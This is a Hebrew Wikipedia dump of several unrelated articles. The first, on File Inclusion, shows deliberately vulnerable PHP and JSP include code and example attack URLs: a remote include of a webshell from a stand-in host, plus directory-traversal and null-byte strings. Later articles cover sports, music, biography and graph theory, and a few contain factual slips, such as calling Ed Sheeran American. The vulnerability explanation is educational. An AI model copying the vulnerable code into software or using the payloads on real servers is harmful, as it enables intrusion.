open-index/open-wikipedia-markdown huggingface dataset:
File Inclusion

**הכללת קבצים** (אנגלית: **File Inclusion**) היא פגיעות ביישומי אינטרנט לא מבוקרים המסתמכים על זמן ריצה של סקריפט. בעזרת הפגיעות יכול התוקף להחדיר קוד אל שרת אינטרנט ולהריצו באופן מקומי או מרוחק.

הפגיעות מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי. במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, ניתן לשנות את מבנה הנתיב ולגרום לתוכנית לבצע פעולות לא מתוכננות כגון: מעבר בין סיפריות (Directory Traversal), טעינה והרצת קבצים זדוניים, צפייה בקבצים חסויים הדלפת מידע רגיש ועוד. 

פגיעות זו עשויה להוות בסיס להתקפות נוספות כגון:
* מניעת שירות (Dos).
* הזרקת קוד זדוני אל היישום (XSS).
* הזרקות קוד אל שרת האינטרנט.

## סוגים
ישנם 2 סוגי הכללות קבצים:
* **הכללת קבצים מקומית (LFI - Local File Inclusion):** תהליך של הכללת קבצים שכבר קיימים באופן מקומי בשרת, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול אך הקלט אינו מסונן ומאומת כראוי, מאפשר הזרקת תווים במקום הקלט המקורי ומקנה לתוקף לבצע פעולות שונות כגון: צפייה בתכנים, מעבר בין סיפריות בעזרת /.. ועוד.
* **הכללת קבצים מרוחקת (RFI - Remote File Inclusion):** תהליך של הכללת קבצים מרוחקים, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי ומאפשר הזרקת כתובת חיצונית והפעלת קבצים מרוחקים במקום הקלט המקורי.

## שימוש

### PHP
בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:

פונקציית **()include** מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.

כדי לנצל את הפגיעות התוקף יחליף משתנה אחד כדי לגרום לו לכלול קוד זדוני מרוחק. כדי למנוע את הפגיעות, יש לאמת את קלט לפני השימוש בו.
```php
<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>
```

```html
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>
```
הערכים english.php ,french.php, ישנו את התנהגות היישום בהתאם לשפת המשתמש שנבחרה, אך במקומם ניתן להזריק קוד שונה:

**הכללת קבצים מרוחקת (RFI):**
```php
/vulnerable.php?language=http://evil.example.com/webshell.txt?
```
**הכללת קבצים מקומית (LFI):**
```php
/vulnerable.php?language=C:\\ftp\\upload\\exploit
```
**שימוש בתו Null-Byte:** המתעלם מהסיומת ה-PHP ומאפשרת גישה אל קבצים שאינם PHP (תוקן בגרסת PHP 5.3).
```php
/vulnerable.php?language=C:\\notes.txt%00
```
**מעבר בין ספריות (Directory Traversal):** כדי לגשת אל קובץ passwd במערכות UNIX.
```php
/vulnerable.php?language=../../../../../etc/os-release%00
```


### JavaServer Pages
בדוגמה שלהלן פגיעות בקוד JSP, שפת סקריפטים אשר יכולה לכלול קבצים בזמן ריצה:
```jsp
<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p +".jsp"%>"
%>
```
בניגוד לשפת PHP, שפת JSP עדיין מושפעת מהזרקות Null Byte והפרמטר שלהלן יבצע פקודות JSP שנמצאות ביומן הגישה של שרת האינטרנט.
```jsp
/vulnerable.jsp?p=../../../../var/log/access.log%00
```


### HTML Server-Side Includes
בדוגמה שלהלן פגיעות בקוד HTML החשוף לפגיעות של הכללת קבצים מרוחקת (RFI):
```html
<HTML>

<TITLE>Test File</TITLE>


</HTML>
```


## ראו גם
* CSRF
* XSS
* Directory Traversal
* הזרקת SQL

## קישורים חיצוניים
*
* 
* מידע על הכללת קבצים מקומית באתר Acunetix ****

קטגוריה:אבטחת מחשבים
קטגוריה:האקינג
דבורה ווטלינג

**דבורה ווטלינג** (באנגלית: **Deborah Watling**; 2 בינואר 1948, לאוטון, אסקס - 21 ביולי 2017, נוריץ', אנגליה) הייתה שחקנית אנגלייה. עיקר פרסומה מגיע מגילום התפקיד של "ויקטוריה ווטרפילד", מלווה של הדוקטור השני בסדרת הטלוויזיה דוקטור הו.

## ביוגרפיה

ווטלינג נולדה ב-2 בינואר 1948 בלאוטון, אסקס, לשחקן ג'ק ווטלינג  ולפטרישיה היקס. החל מ-1958 הופיעה בסדרת הטלוויזיה The Invisible Man , ושיחקה בסך הכל ב-11 פרקים. ב-1960 הופיעה בשישה פרקים בסדרה "A Life of Bliss" לצד ג'ורג' קול. 

בשנת 1967 החלה להופיע בסדרה דוקטור הו, בתפקיד ויקטוריה ווטרפילד, מלווה של הדוקטור השני (בגילומו של פטריק טרוטון), וב-1968 עזבה את הסדרה. ב-1973 כיכבה יחד עם קליף ריצ'רד בסרט "Take me high". 

ווטלינג נפטרה ב-21 ביולי 2017.

## קישורים חיצוניים

* האתר של ווטלינג
* 

## הערות שוליים

קטגוריה:שחקניות קולנוע וטלוויזיה אנגליות
קטגוריה:שחקניות ילדות אנגליות
קטגוריה:דוקטור הו
קטגוריה:בריטיות שנולדו ב-1948
קטגוריה:בריטים שנולדו ב-1948
קטגוריה:בריטיות שנפטרו ב-2017
קטגוריה:בריטים שנפטרו ב-2017
אליפות ברזיל בכדורגל 1996

**אליפות ברזיל בכדורגל 1996** (בפורטוגזית:**Campeonato Brasileiro de Futebol da 1ª Divisão de 1996**) הייתה הפעם ה-41 בו נערכה תחרות ארצית בכדורגל בברזיל. היא אורגנה על ידי קונפדרציית הכדורגל הברזילאית. המשחקים החלו ב-8 באוגוסט 1996 והסתיימו ב-15 בדצמבר 1996.  

בתחרות השתתפו 24 קבוצות. בסיום העונה הקודמת  פאיסנדו ואוניאו סאו ז'ואו ירדו לליגת המשנה הברזילאית. אתלטיקו פרנאאנסה וקוריטיבה היו הקבוצות שהעפילה מליגת משנה.

בשלב ראשון נערכו 23 מחזורים בשיטת משחק בית ומשחק חוץ. 8 קבוצות העפילו להמשך התחרות.

במהלך שלב הבתים של האליפות עבור הניצחון הוענקו שלוש נקודות ונקודה עבור תיקו. במהלך שלבי הגמר, במידה ומפגש כפול לא נתן הכרעה, הקבוצה עם הישג טוב יותר בשלב הקודם העפילה להמשך התחרות.

גרמיו זכתה באליפות. זו הייתה הזכייה השנייה בתולדות המועדון. 

המנצחת העפלה לגביע ליברטדורס. קרוזיירו שזכתה בתחרות הגביע הברזילאי הייתה נציגה נוספת של ברזיל.

בסיום העונה פלומיננסה וברגנטינו היו אמורות לרדת לליגת משנה. אומנם קונפדרציית הכדורגל הברזילאית שינתה את מתכונת התחרות והחליטה להגדיל את הליגה בעונה הקרובה ל-26 קבוצות. 

## שלבי הגמר

גרמיו זכתה בעקבות הישג טוב יותר בשלב הבתים.

## טבלה סופית של הליגה

## שחקנים מצטיינים
פאולו נונייס, שחקנה של גרמיוורנלדו שחקנה של אתלטיקו מיניירו כבשו 16 שערים וזכו בתואר מלך השערים של האליפות. זאת העונה השנייה ברציפות. 

ג'למיניה, שחקנה של פלמיירס זכה בפרס "כדור הזהב" לכדורגלן העונה לכדורגלן העונה של עיתון ספורט ברזילאי Placar.

## קישורים חיצוניים
*נתונים מאתר rsssf
* נתונים מאתר zerozero
* נתונים מאתר transfermarkt

ברזיל
קטגוריה:עונות באליפות ברזיל בכדורגל
אביאור מלסה

**אביאור מלסה** (נולד ב-2 בדצמבר 1995) הוא זמר, יוצר ומלחין ישראלי.

## ביוגרפיה
אביאור נולד בישראל, למשפחה שעלתה בשנת 1991 מאתיופיה. כשהיה בן שמונה, עזב אביו את משפחתו. מלסה מתגורר בבאר שבע ביחד עם אמו ושני אחיו.

שירת בצה"ל בבסיס צאלים.

## קריירה
תחילת הקריירה המוזיקלית של מלסה החלה ב-2015 כאשר שיתף פעולה עם להקת KGC בשיר "מהמתוק אל המר", השיר זכה לביקורות חיוביות על התוכן שלו וזכה להצלחה.

ביוני 2016 הוציא את סינגל הבכורה שלו "קיץ", השיר זכה להצלחה גדולה והיה לאחד השירים המצליחים ביותר של אותה שנה לאחר שנכנס לפלייליסט של גלגלצ והגיע לשלישי במצעד השירים של מדיה פורסט, בספטמבר אותה שנה הוציא אביאור את הסינגל השני שלו "מצאנו אהבה" בו הוא מארח את הראפר איזי ובדצמבר הוציא את הסינגל "הכל", השיר הצליח לשחזר את הצלחת סינגל הבכורה שלו, הגיע למקום שני במצעד השבועי של מדיה פורסט, היה לשירו השני להיכנס לפלייליסט של גלגלצ ואף הגיע למקום ה-20 במצעד השנתי של התחנה לשנת תשע"ז.

במהלך שנת 2017 הוציא מלסה שלושה סינגלים מתוך אלבום הבכורה שלו: "מקום לשינוי" - שיתוף פעולה עם הזמרת נועה קירל, "גיבור" ו"ככה אנשים" שזכה להצלחה והגיע למקום שביעי במצעד השבועי של מדיה פורסט. האלבום המלא שנושא את השם של מלסה יצא לאור ב-31 באוקטובר 2017 בחברת ארומה מיוזיק, שבה יוצג באותה עת.

## סינגלים
* מהמתוק אל המר
* קיץ
* מצאנו אהבה
* מקום לשינוי
* הכל
* יהלום
* גיבור
* ככה אנשים
* נשימה
* אין חדש
* לב שיכור

## קישורים חיצוניים

* 
* 
* 
* 
* 

## הערות שוליים

2017 07
קטגוריה:זמרים ישראלים
קטגוריה:מלחינים ישראלים
קטגוריה:זמרי פופ ישראלים
קטגוריה:באר שבע: מוזיקאים
קטגוריה:ישראלים שנולדו ב-1995
אקסל ריימונד

**אקסל ריימונד** (; נולד ב-13 בפברואר 1994) הוא שחיין צרפתי, פעמיים ברציפות אלוף העולם (בודפשט 2017 וקוואנגג'ו 2019), פעמים ברציפות אלוף אירופה (ברלין 2014 והורן 2016) ו-6 פעמים ברציפות אלוף צרפת (2012 - 2017) בשחייה במים פתוחים במשחה הארוך ביותר ("המרתון" של השחייה) ל-25 ק"מ.

## ביוגרפיה
ריימונד נולד בפריז. הוא החל לשחות בגיל 6. בגיל 14 החל להשתתף בתחרויות בשחייה במים פתוחים. אותה שנה הוא זכה במדליית כסף באליפות צרפת לגילו במשחה ל-10 ק"מ.

### 2012
באליפות אירופה בשחייה במים פתוחים שנערכה בפיומבינו, איטליה ב-2012 זכה ריימונד במדליית ארד, במשחה ל-25 ק"מ בתוצאה של 5:04:06.30, לפני פטר סטוייצ'ב מבולגריה וארסני לברנטייב מפורטוגל. נוסף לכך, הוא סיים במקום 15 במשחה ל-10 ק"מ בתוצאה של 1:59:57.80 שעות.

### 2013
באליפות העולם שנערכה בברצלונה שבספרד ב-2013 סיים ריימונד במקום 20 במשחה ל-25 ק"מ בתוצאה של 4:53:47.2 שעות ובמקום 40 במשחה ל-10 ק"מ בתוצאה של 1:50:33.0 שעות.

### 2014
באליפות אירופה שנערכה בברלין, גרמניה באוגוסט 2014 זכה ריימונד מדליית זהב במשחה ל-25 ק"מ בתוצאה של 4:59:18.8 שעות, לפני יבגני דרצב מרוסיה (4:59:31.2 שעות) ואדוארדו סטוקינו מאיטליה (5:08:51.0 שעות). נוסף לכך, הוא סיים במקום תשיעי במשחה ל-10 ק"מ בתוצאה של 1:50:07.6 שעות.

### 2015
באליפות העולם שנערכה בקאזאן שברוסיה ב-2015 סיים ריימונד במקום רביעי במשחה ל-25 ק"מ בתוצאה של 4:55:55.8 שעות, במקום 12 במשחה ל-10 ק"מ בתוצאה של 1:50:28.4 שעות ובמקום 22 במשחה ל-5 ק"מ בתוצאה של 55:31.8 דקות.

### 2016
באליפות אירופה בשחייה במים פתוחים שנערכה בהורן, הולנד ביולי 2016 זכה ריימונד במדליית זהב, במשחה ל-25 ק"מ בתוצאה של 5:02:22.00 שעות, לפני מטאו פורלן ואדוארדו סטוקינו שניהם מאיטליה.

### 2017
#### אלוף עולם
באליפות העולם שנערכה בבודפשט, הונגריה ביולי 2017 זכה ריימונד במדליית זהב במשחה ל-25 ק"מ בתוצאה של 5:02:46.4 שעות, לפני מטאו פורלן (5:02:47.0 שעות) ויבגני דרצב מרוסיה (5:02:49.8 שעות).

### 2019
באליפות העולם שנערכה בקוואנגג'ו, קוריאה הדרומית ביולי 2017 זכה ריימונד במדליית זהב במשחה ל-25 ק"מ בתוצאה של 4:51:06.2 שעות, לפני קיריל בלייב מרוסיה (4:51:06.5 שעות) ואלסיו אוקיפינטי מאיטליה (4:51:09.5 שעות) ובכך הגן על תוארו.

## קישורים חיצוניים

* 

קטגוריה:שחייני חופשי
קטגוריה:שחייני מים פתוחים צרפתים
קטגוריה:אלופי עולם בשחייה במים פתוחים
קטגוריה:צרפתים שנולדו ב-1994
כדוריד חופים באולימפיאדת הנוער בואנוס איירס (2018)

טורנירי ה**[[כדוריד חופים]] ב[[אולימפיאדת הנוער בואנוס איירס (2018)]]** התקיימו לראשונה כחלק מהמשחקים האולימפיים לנוער בין התאריכים ה-7 באוקטובר ל-13 באוקטובר 2018. הטורנירים החליפו את טורנירי הכדוריד שהתקיימו עד כה. משחקי הטורנירים התקיימו במועדון ההתעמלות וסיף של בואנוס איירס. התחרויות הורכבו מטורניר נערים וטורניר נערות, שבכל אחד מהם השתתפו עשר נבחרות.

## העפלה
ההעפלה לטורניר היא קבוצתית והמכסה ניתנת לוועד האולימפי המקומי ולא לספורטאים עצמם. כל חברי הנבחרת המשתתפים בטורניר נדרשים לציית להוראות האמנה האולימפית במלואם, כולל חוק 41 המחייב את הספורטאים להיות בעלי אזרחות של המדינה אותה הם מייצגים. בנוסף, כל חברי הנבחרת נדרשים להיות בני 15 עד 18, בזמן המשחקים (תאריך הלידה בין ה-1 בינואר 2000 ל-31 בדצמבר 2002).

הוועד האולימפי הבינלאומי והפדרציה הבינלאומית לכדוריד סיכמו שעשר נבחרות יעפילו לכל טורניר. 9 מכסות העפלה נקבעו בהתאם לדירוג הסופי באליפות העולם הראשונה בכדוריד חופים לנוער שהתקיימה בין ה-11 ל-16 ביולי 2017 במאוריציוס. המכסות נתנו לנבחרות שהגיעו לדירוג הגבוה ביותר בהתאם לחלוקה היבשתית הבאה: 3 מכסות לאירופה, 2 מכסות לאמריקה ואסיה ומכסה בודדת לאפריקה ואוקיאניה. מכסה בודדת, לאחד מהטורנירים, ניתנה למדינה המארחת, .

ארגנטינה בחרה בנבחרת הנערות למימוש מכסת האירוח שנתינה לה. לפיכך, המכסה בטורניר הבנים תוקצא מחדש לנבחרת הבאה בדירוג מיבשת אמריקה באליפות העולם בכדוריד חופים לנוער שטרם העפילה לטורניר. אם אין נבחרת העונה לקריטריון הזה, המכסה תוקצה מחדש לנבחרת המודרגת הבאה מיבשת אמריקה שטרם העפילה לטורניר בהתאם לדירוג הבוגרים של נבחרות כדוריד חופים כפי שמפורסם בהפדרציה הבינלאומית לכדוריד ב-20 ביולי 2017. אם לא תמצא נבחרת העונה לקריטריון הזה, המכסה תוקצה מחדש לנבחרת המודרגת הבאה שטרם העפילה לטורניר בהתאם לדירוג הבוגרים של נבחרות כדוריד חופים כפי שמפורסם בהפדרציה הבינלאומית לכדוריד ב-20 ביולי 2017. תהליך דומה יבוצע אם אחת מהנבחרות הזכאיות להשתתפות תבחר שלא להשתמש במכסה שהוקצאה עבורה.

בהתאם לעקרונות חוקי העפלה של אולימפיאדת הנוער בואנוס איירס 2018, ההשתתפות בטורנירים של ספורט קבוצתי מוגבלת לנבחרת אחת מכל מגדר לכל מדינה עבור ענפי הספורט הקבוצתי (קטרגל, כדוריד חופים, הוקי שדה ורוגבי), למעט המדינה המארחת שיכולה להכניס נבחרת אחת לכל ספורט.

**הערות:**

## לוח זמנים
:*כל הזמנים הם לפי [[אזור זמן|הזמן המקומי]] ([[UTC]]-3)*

## מדליות ומנצחים

## קישורים חיצוניים

## הערות שוליים

קטגוריה:אולימפיאדת הנוער בואנוס איירס (2018)
ויקיפדיה הלטבית

**ויקיפדיה הלטבית** (לטבית: Vikipēdija latviešu valodā) היא המהדורה בלטבית של ויקיפדיה, האנציקלופדיה החופשית שמופעלת בידי קרן ויקימדיה. נכון ל-ב  ישנם בו  ערכים ו- משתמשים פעילים.

ויקיפדיה הלטבית נוצרה ב-6 ביוני 2003. והיא ויקיפדיה השנייה בגודלה מקרב השפות הבלטיות.

ויקיפדיה הלטבית פעילה ברשתות החברתיות ומפעילה חשבונות פייסבוק וטוויטר.

## היסטוריה
ויקיפדיה הלטבית נוסדה ב-6 ביוני 2003. באותו היום נכתב הערך הראשון - פסיכולוגיה. הדף הראשי בוויקיפדיה הלטבית נכתב ארבעה חודשים מאוחר יותר - ב-6 באוקטובר 2003.

בתחילה ויקיפדיה הלטבית לקתה בחסר וכמה ערכים על דברים חשובים בתרבות הלטבית היו חסרים. המאמר על ליגווה, לדוגמה, נכתב רק במרץ 2008. עם זאת, קצב הצמיחה של ויקיפדיה הלטבית הוא יציב מאז 2006.

החל מ-30 בספטמבר 2013, העורך החזותי זמין לכל המשתמשים הרשומים והחל מ-7 באוקטובר 2013 הוא זמין לכל העורכים.

### מרתון ויקיפדיה הלטבית
מרתון ויקיפדיה הלטבית (לטבית: Latvijas Vikipēdijas maratons) הוא פרויקט שנועד להרחיב את ויקיפדיה הלטבית במטרה להגדיל את השימושיות של השפה הלטבית.

### אבני דרך
* 6 ביוני 2003 - הערך הראשון
* 28 בדצמבר 2004 - הערך ה-500
* 5 במרץ 2005 - הערך ה-1,000 
* 15 באוקטובר 2005 - הערך ה-2,500
* 7 בספטמבר 2006 - הערך ה-5,000
* 19 ביולי 2007 - הערך ה-10,000
* 13 בפברואר 2009 - 20,000 ערכים
* 19 בספטמבר 2010 - 30,000 ערכים
* 19 בפברואר 2012 - 40,000 ערכים
* 17 באוגוסט 2013 - 50,000 ערכים
*3 במרץ 2015 - 60,000 ערכים 
* 19 ביוני 2016 - 70,000 ערכים

## מדיניות
מאז 31 באוקטובר 2012, ויקיפדיה הלטבית מציגה הודעה המעודדת משתמשים לחתום על עצומה במטרה לשנות את חוק זכויות היוצרים בלטביה, המאפשר צילום תמונות של עבודות אדריכלות ומונומנטים - אך רק למטרות פרסום. אם החוק ישתנה, תמונות של מבנים ציבוריים בלטביה יוכלו להיות בשימוש גם בוויקיפדיה.

בניגוד לוויקיפדיה האנגלית, אין דרישה בוויקיפדיה הלטבית להתחבר לחשבון על מנת ליצור ערך חדש במיזם.

שלא כמו רוב הוויקיפדיות בעולם - ויקיפדיה הלטבית אימצה גאדג'טים מאוחר מאוד, במאי 2014.

## סטטיסטיקה
נכון ליולי 2017, 78,000 הערכים בוויקיפדיה הלטבית מהווים כ-28% מכלל הערכים שנכתבו במשפחת השפות הבלטיות, מה שהופך את ויקיפדיה הלטבית לשנייה בגודלה במשפחת השפות, לאחר ויקיפדיה הליטאית, המהווה 66%.

## גלריה

קובץ:Wikipedia-logo-lv-040922.png|הלוגו המקורי של ויקיפדיה הלטבית. החל מ-22 בספטמבר 2004 עד 1 ביוני 2005 ויקיפדיה הייתה מאויתת עם האות W.
קובץ:Wikipedia-logo-v2-lv-131123.png|לוגו לזכר קורבנות קריסת המרכז המסחרי בריגה (23-26 בנובמבר)


## קישורים חיצוניים

* 

## הערות שוליים

לטבית
קטגוריה:אתרי אינטרנט שהושקו ב-2003
Sing (שיר של אד שירן)

**Sing** (בעברית: **לשיר**) הוא שיר שבוצע על ידי הזמר והיוצר האמריקאי אד שירן. השיר נכתב על ידי שירן יחד עם פארל ויליאמס, אשר מפיק את השיר. השיר יצא לאור ב-7 באפריל 2014, בתור הסינגל הראשון מאלבום האולפן השני של שירן, *×* (2014). לאחר זמן קצר, הפך "Sing" לשיר הראשון של שירן שכבש את מצעד הסינגלים בבריטניה. כמו כן, השיר הגיע לראש המצעדים גם באוסטרליה, ניו זילנד ואירלנד וכן למקום 13 בבילבורד הוט 100 שבארצות הברית.

## רקע ושחרור
השיר נכתב על ידי אד שירן ופארל ויליאמס, וכן הופק על ידו. ויליאמס אף השתתף בקולות הרקע במהלך הפזמון. אורך השיר הוא 3 דקות ו-55 שניות. שירן הפיק השראה מהפופ וסגנון ה-R&B הייחודי של ג'סטין טימברלייק, וקבע: "זה היה די קרוב להשראה ישירה". מילות השיר הן על בילוי לילי בווגאס.
"Sing" שוחרר בבריטניה, אירלנד אוסטרליה וגרמניה במאי 2014. מלבד מדינות אלו, "Sing" יצא בעולם ב-7 באפריל 2014, בצ'אט ביוטיוב, בשידור חי עם שירן.

## וידאו קליפ
הקליפ לשיר "Sing" שוחרר באופן בלעדי לדף הפייסבוק של שירן ב-22 במאי 2014, ויצא ב-Vevo וב-YouTube ב-23 במאי, בדיוק חודש לפני האלבום. הקליפ עוקב אחר קריקטורה של שירן בבילוי לילי שבמהלכו הוא משתכר.
כמו כן, שירן ופארל זכו בפרס הסרט "Best Male Video" בטקס פרסי הווידאו של MTV לשנת 2014 עבור הסרטון.

## מיקומי שיא

## נתוני מכירות

## קישורים חיצוניים

## הערות שוליים

קטגוריה:שירי אד שירן
קטגוריה:שירים באנגלית
קטגוריה:שירים שנכתבו על ידי אד שירן
קטגוריה:שירים שנכתבו על ידי פארל ויליאמס
קטגוריה:שירים שהופקו על ידי פארל ויליאמס
קטגוריה:וידאו קליפים שבוימו על ידי אמיל נאוה
קטגוריה:שירים על לאס וגאס
קטגוריה:סינגלים שהגיעו למקום הראשון במצעד הסינגלים האוסטרלי
קטגוריה:סינגלים שהגיעו למקום הראשון במצעד הסינגלים האירי
קטגוריה:סינגלים שהגיעו למקום הראשון במצעד הסינגלים הבריטי
קטגוריה:סינגלים שהגיעו למקום הראשון במצעד הבין-לאומי של מדיה פורסט
קטגוריה:זוכי פרס בחירת הנוער: שירים
קטגוריה:שירי פלטינה משולשת בממלכה המאוחדת
אליהו טמלר

**אליהו טמלר** (כונה **"יהושע"**; 25 באוגוסט 1919 – 30 באפריל 1948) היה לוחם ומפקד במחתרת האצ"ל. הוביל מספר רב של פעולות נגד הכובש הבריטי שכללו החרמות נשק וחבלה בתשתיות של השלטון העברי והבריטי בארץ. נהרג במערכה לשחרור יפו.

## קורות חיים
אליהו אדי טמלר נולד ב-1919 בזאסטוונה שברומניה (בתחומי אוקראינה של ימינו) לאברהם וסבינה טמלר. למד בבית ספר עממי בעיר הולדתו ובגימנסיה בעיר השכנה צ'רנוביץ. אביו היה פעיל ציוני, מה שהביא את טמלר להצטרף לתנועת הנוער "חשמונאים".

ב-1939 עלה לארץ כמעפיל באניה פאריטה, שהפליגה מנמל קונסטנצה ב-12 ביולי כשעל סיפונה 857 פעילי תנועת בית"ר, ולאחר 42 ימי הפלגה קשים עגנה בחוף תל אביב. עם הגיעו הצטרף טמלר לפלוגות בית"ר שפעלו בארץ ובהמשך למחתרת אצ"ל והיה פעיל בשורותיו. ב-1942 נעצר על ידי הבריטים בחיפה ונשלח למחנה מעצר ליד מזרע משם שוחרר במרץ 1943. לאחר שחרורו מונה למפקד הפעילות המבצעית של האצ"ל במחוז פתח-תקוה ובהמשך במחוז תל אביב. במסגרת תפקידו זה תכנן והוציא לפועל מספר רב של פעולות כנגד השלטונות הבריטים ושלטונות הישוב:
* החרמת משאית חומרי נפץ בדרך למחצבות מגדל צדק.
* פיצוץ עמודי תקשורת באזור פתח תקווה (1945)
* החרמת נשק ממחסני הצבא הבריטי בסרפנד.
* התקפה על משרדי העלייה והמכס בחיפה (12 בפברואר 1944)
* פיצוץ קווי נפט (מאי 1945)
* החרמת חומרי נפץ ממחסני חברת סולל בונה (אוגוסט 1945)
* התקפה על משטרת חיפה (29 בספטמבר 1945)
* התקפה על תחנת הרכבת לוד במסגרת ליל הרכבות (1 בנובמבר 1945)
* חבלה בבניין הבולשת הבריטית ביפו (27 בדצמבר 1945)
* החרמת נשק במחנה בריטי ליד רחובות.

ב-2 באפריל 1946, כשחיכה לחוזרים מההתקפה על מתקני הרכבת בדרום, נתפס על ידי הבריטים כשהוא נושא נשק, נשפט לשבע שנות מאסר ונכלא בבית הסוהר המרכזי בירושלים. ב-20 בפברואר 1948 הצליח, יחד עם עוד 11 אסירים נוספים ממחתרות אצ"ל ולח"י, לחפור מנהרה ולברוח מהכלא. אחרי בריחתו זו מונה לתפקיד מרכזי במטה הארצי של האצ"ל. במסגרת זו פעל להוצאת נשק וחומרי נפץ ממחנות בריטים:
* פעולה נגד הכפר קאקון (8 במרץ 1948)
* החרמת פגזי מרגמה מרכבת בריטית כשחנתה ליד בנימינה (אפריל 1948)
* החרמת נשק ממחנה 80 (6 באפריל 1948)

ב-25 באפריל 1948 היה טמלר בין מפקדי האצ"ל בפעולה לשחרור יפו. במהלך פעולה זו נפגע מפגז בריטי ונהרג. מנחם בגין, שהכירו מקרוב ספד לו: **אליהו הלך - לא היה טוב ממנו בארגון**. הובא לקבורה בחלקה הצבאית בבית הקברות נחלת יצחק.

## ראו גם
* בריחת 12 אסירי המחתרות מבית הסוהר המרכזי בירושלים
* התקפת האצ"ל על יפו

## לקריאה נוספת
* משה בן-שאול, **מעלות לוחמים - עשרים ושלשה פרקי לוחמים**, הוצאת הדר, 1967, עמודים 202–217
* בנימין עדות, **אליהו טמלר, גונדר יהושע - ברית חיילי הארגון הצבאי הלאומי**, "הוצאת אותפז"

## קישורים חיצוניים
* 
* גונדר אליה טמלר (סנד) ז"ל , באתר מוזיאון האצ"ל
* 
* אליהו טמלר, באתר עמותת לח"י
* ההתקפה על המחנה הצבאי בצריפין (סרפנד), באתר "מכללת הרצוג"
* אליהו טמלר (גונדר יהושע) - דיוקן, בארכיון מכון ז'בוטינסקי
* 
* 

## הערות שוליים

קטגוריה:פעילים ציונים ברומניה
קטגוריה:פעילים ציונים באוקראינה
קטגוריה:לוחמי האצ"ל
קטגוריה:אישים הקבורים בבית הקברות הצבאי נחלת יצחק
קטגוריה:ארץ-ישראלים שנולדו ב-1919
קטגוריה:ארץ-ישראלים שנפטרו ב-1948
קליקה (תורת הגרפים)

שמאל|ממוזער|250px|גרף בעל 2 קליקות בגודל 4 (כחול כהה), 19 קליקות בגודל 3 (כחול בהיר), 42 קליקות מגודל 2 (קשתות) ו-23 קליקות בגודל אחד (קודקודים). מספר הקליקה של הגרף הוא 4.
בתורת הגרפים, **קליקה** היא קבוצת קודקודים בגרף בלתי מכוון, אשר כל זוג קודקודים שונים בה מחובר על ידי קשת; כלומר, תת-הגרף המושרה על ידה מהווה גרף שלם.

## הגדרות
* **קליקה** בגרף בלתי מכוון G=(V,E) היא תת-קבוצה C \subseteq V כך שבין כל זוג קודקודים שונים בקבוצה קיימת קשת.
* **קליקה מקסימלית** או **קליקה מרבית** בגרף בלתי מכוון G היא קליקה שלא ניתנת להרחבה על ידי הוספת קודקוד נוסף לקבוצה, כלומר קליקה אשר לא חלקית לקליקה גדולה יותר.
* **קליקת מקסימום** בגרף בלתי מכוון G היא קליקה, כך שלא קיימת בגרף קליקה בעלת מספר קודקודים גדול יותר.
* **מספר הקליקה** בגרף בלתי מכוון G מסומן \omega(G) ושווה לגודל המקסימלי של קליקה ב־G.

## בעיית הקליקה
במדעי המחשב, **בעיית הקליקה** היא הבעיה החישובית שבמציאת קליקת מקסימום בגרף בלתי מכוון נתון. בעיה זו היא בעיה NP-שלמה, ומהווה אחת מ-21 הבעיות ה-NP-שלמות של קארפ.

לבעיה זו פותחו מספר אלגוריתמים בעלי זמן ריצה מעריכי, אולם קיימים לבעיה גם פתרונות בעלי זמן ריצה פולינומי בסוגי גרף מסוימים, כגון גרף מישורי וגרף מושלם.

## ראו גם
* משפט רמזי

## קישורים חיצוניים
* 

## הערות שוליים

קטגוריה:תורת הגרפים
קטגוריה:בעיות NP-שלמות
אנדרטת אוניית המעפילים אקסודוס

200px|ממוזער|שמאל|שולי נתן בטקס הפתיחה בשיר "הו רב חובל"
**אנדרטת אוניית המעפילים אקסודוס** היא אנדרטה שהוקמה להנצחת מסעה של אוניית המעפילים אקסודוס שהפליגה לחופי ארץ ישראל מצרפת ביולי 1947 ומעפיליה גורשו בחזרה לאירופה. האנדרטה הוקמה בתוך טרמינל הנוסעים של נמל חיפה ונחנכה ב-18 ביולי 2017, במלאת 70 שנה למסעה של האונייה.
## רקע

**אקסודוס** או **יציאת אירופה תש"ז** הוא שמה של אוניית מעפילים שיצאה מחופי דרום צרפת ב-11 ביולי 1947, כשעל סיפונה 4,515 נוסעים ניצולי שואה, במטרה להגיע לארץ ישראל. בין הנוסעים היו 1,282 נשים, 1,561 גברים, 1,017 נערים ו-655 ילדים. הנוסעים לא הורשו להיכנס לתחומי הארץ, והוחזרו בכוח למחנות העקורים בגרמניה, לאחר מאבק מר.

לאחר שנלכדה האונייה על ידי הבריטים, הם הביאו אותה לנמל חיפה ושם הועברו המעפילים לאוניות גירוש שהפליגו בחזרה לנמל פורט דה-בוק שממנו הפליגה האונייה ומשסירבו המעפילים לרדת מאוניות הגירוש ולאחר שממשלת צרפת, ששלטה אז על הנמל, הודיעה כי לא תוריד את המעפילים בכוח, הפליגו האוניות לנמל המבורג, שהיה אז בשליטה בריטית. בהמבורג ירדו המעפילים, חלקם לאחר שאולצו בכוח וחלקם בלית ברירה, אל החוף ושוכנו במחנות. אחרון מעפילי אקסודוס עלה ארצה ב-7 בספטמבר 1948.

על רקע היותו של נמל חיפה נקודה חשובה במסעה של אקסודוס, הוחלט להקים את האנדרטה במסוף הנוסעים שלו.
## האנדרטה
